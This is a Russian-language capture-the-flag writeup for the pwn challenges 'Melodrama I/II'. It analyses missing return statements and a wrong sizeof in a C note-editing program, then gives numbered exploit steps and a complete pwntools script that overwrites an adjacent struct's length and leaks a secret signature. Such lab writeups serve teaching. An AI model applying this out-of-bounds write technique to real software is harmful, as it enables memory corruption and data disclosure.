Rating: 5.0

### **ugractf** writeup - Melodrama I / II (pwn)
###### *by Frovy*
### Melodrama I (150 pts)

Для начала изучим предоставленный исходный код.
> Увидев что в проге можно что-то создавать и удалять я сразу стал искать
use-after-free, но оказалось, что тут все немного иначе.

Обратим внимание на метод удаления статьи:
```c
...
memset(articles[id], NULL, sizeof(article_t*));
```

Возможно это легко пропустить при первом прочтении кода, но я сразу заметил чудесную звездочку у аргумента sizeof. Вместо размера структуры определяется размер указателя на нее (8 байт), поэтому при "удалении" статьи текст и подпись остаются в сохранности, а первые два поля перезаписываются нулями.
При этом free нигде не вызывается и указатель на структуру нигде не зануляется, значит мы можем продолжать ею пользоваться.

(структура)
```c
typedef struct {
int secret;
int length;
char note[141];
char signature[64];
} __attribute__((packed)) article_t;
```

Итак, удаляя статью мы устанавливаем ее длинну и секретность в 0.

Подключимся к серверу и прочитаем секретную 0-ю запись содержащую флаг, предварительно удалив ее.

Первая часть решена.

### Melodrama II (250 pts)
Вторая часть значительно сложнее, хотя вероятно (скорее всего) (точно) мое решение переусложнено.

Наша задача - достать секретную подпись, хранящуюся в структуре подписанной статьи прямо за ее текстом.

Как же это сделать? Очевидно для этого надо использовать функционал правок, не просто так же он тут есть.

> Во время ctf я потратил довольно много времени пытаясь опять же придумать что-то из категории heap exploitation, но потом осознал что на статьях то даже free не вызывается и понял что это все бред.

Почитаем внимательнее как же работают(применяются) эти правки:
```c
// insert
int left = edits[id]->offset;
int new_left = left + len;
for (int i = 140; i >= new_left; i--) {
// shift positions for len positions right
articles[article]->note[i] = articles[article]->note[i - len];
}
for (int i = 0; i < len; i++) {
// insert edit to empty interval [left, left + len)
articles[article]->note[left + i] = edits[id]->content[i];
}

// delete
int left = edits[id]->offset;
int right = left + edits[id]->count;
for (int i = left; i < right; i++) {
// shift characters for (right - left) positions left
articles[article]->note[i] = articles[article]->note[i + (right - left)];
}
```

Спасибо авторам за комменты, даже сам код читать не надо. Итак, с помощью insert мы можем вставить до 140 символов начиная с определенного оффсета. А с помощью delete?
Сдвигать символы справа налево! Это именно то что нам нужно, мы можем попытаться подвинуть подпись в содержание и, прочитав статью, получить флаг.

Создадим новую статью из 140 букв А и попытаемся создать такую правку которая бы подвинула нам подпись. Подвинем 100 символов, поставим оффсет например 40, чтобы попасть в начало подписи.
У нас получится left = 40, right = 100+40. Получается правка должна подвинуть строку note[140:240] в note[40:140].

Получим `Not enough characters`.

Все верно, мы пытаемся нарушить границы массива и проверка не дает нам этого сделать.

```c
if (count <= 0 || offset + count - 1 > articles[id]->length) {
puts("Not enough characters");
return;
}
```

Ага, значит тут проверяется длинна статьи, нужно ее как-то изменить.

> Тут мне сразу пришла идея использовать правку insert чтобы перезаписать длинну любым значением. Возможно это совершенно не очевидно. Возможно на самом деле это делается как-то проще, но во время ctf я делал именно так.

Наши статьи располагаются друг за другом в одном огромном куске heap, который выделяется в начале выполнения программы. Попробуем с помощью правки insert записать символы за границу массива, настолько далеко, чтобы достать до памяти следующей статьи и перезаписать length каким-либо большим числом.

Посмотрим на проверки в правке insert:

```c
int left = edits[id]->offset;

if (left > articles[article]->length) {
puts("Can't apply this edit.");
}

int len = strlen(edits[id]->content);
if (len + articles[article]->length > 140) {
puts("Too long.");
return;
}
```

Ага, в первой проверке нету return-а, да сколько же дыр в этом коде?

Как обойти вторую мы знаем из первой части таска. Удалим статью чтобы установить ее длину в 0, сумма len + length будет <= 140.

Итак алгоритм для перезаписи длины статьи:

1. Создаем статью (140 символов)
2. Создаем еще статью
3. Создадим описанную выше правку: оффсет 140, 140 символов (можно и поменьше конечно)
4. Удалим статью
5. Применим изменение

Теперь нам нужно создать правку delete которая сдвинет подпись в содержимое.
Ах да, эту подпись надо перед этим туда поставить.

6. Создадим правку ко второй статье: remove, оффсет 40, кол-во 100
7. Подпишем вторую статью
8. Применим правку

Если мы попробуем сейчас прочесть эту статью, у нас ничего не получится потому, что ранее мы перезаписали флаг секретности, стоящий перед размером. Чтобы прочитать статью, предварительно удалим ее, как в первой части таска.

9. Удалим статью
10. Прочитаем статью

Ой! А флаг то не выводится..

Если совсем немного подумать (или открыть gdb) можно понять что мы оставили нуль-терминатор в конце контента статьи, поэтому вывод прерывается. Изменим кол-во символов в правке из шага 6 с 100 на 101.

И получим флаг.

Скрипт использованный для получения флага с сервера:

```py
from pwn import *

#token = ''
#c = remote('melodrama.q.2020.ugractf.ru', 17493)
#c.recvuntil('token:')
#c.sendline(token)

c = process('./melodrama')

c.recvuntil('> ').decode('utf-8')

p = log.progress('Doing magic...')

# crate article 1
c.send('1\n')
c.recvline()
c.send('A'*140+'\n')
c.recvuntil('> ').decode('utf-8')

# crate article 2
c.send('1\n')
c.recvline()
c.send('B'*140+'\n')
c.recvuntil('> ')

# create an overwriting edit to article 1
c.send('2\n')
c.recvline()
c.send('1\n')
c.recvuntil('remove something')
c.send('1\n')
c.recvline()
c.send('140\n')
c.recvline()
c.send('C'*140+'\n')
c.recvuntil('> ')

# delete article 1 so we can apply broken edit
c.send('6\n')
c.recvline()
c.send('1\n')
c.recvuntil('> ')

# apply overwriting edit
c.send('3\n')
c.recvline()
c.send('0\n')
c.recvline()
c.recvuntil('> ')

# create an moving edit to article 2
c.send('2\n')
c.recvline()
c.send('2\n')
c.recvuntil('remove something').decode('utf-8')
c.send('2\n')
c.recvline()
c.send('40\n')
c.recvline()
c.send('101\n')
c.recvuntil('> ')

# sign article 2
c.send('4\n')
c.recvline()
c.send('2\n')
c.recvuntil('> ').decode('utf-8')

# apply edit that should move signature into note
c.send('3\n')
c.recvline()
c.send('0\n')
c.recvuntil('> ')

# delete article so we can read it
c.send('6\n')
c.recvline()
c.send('2\n')
c.recvuntil('> ')

# read result
c.send('5\n')
c.recvline()
c.send('2\n')
res = c.recvuntil('> ')

p.success('Magic done.')

# extract flag
res = res.decode('utf-8')
flag = res.split('\n')[0].split()[-1].split('C')[-1]

log.success(f'Got signature: {flag}')
```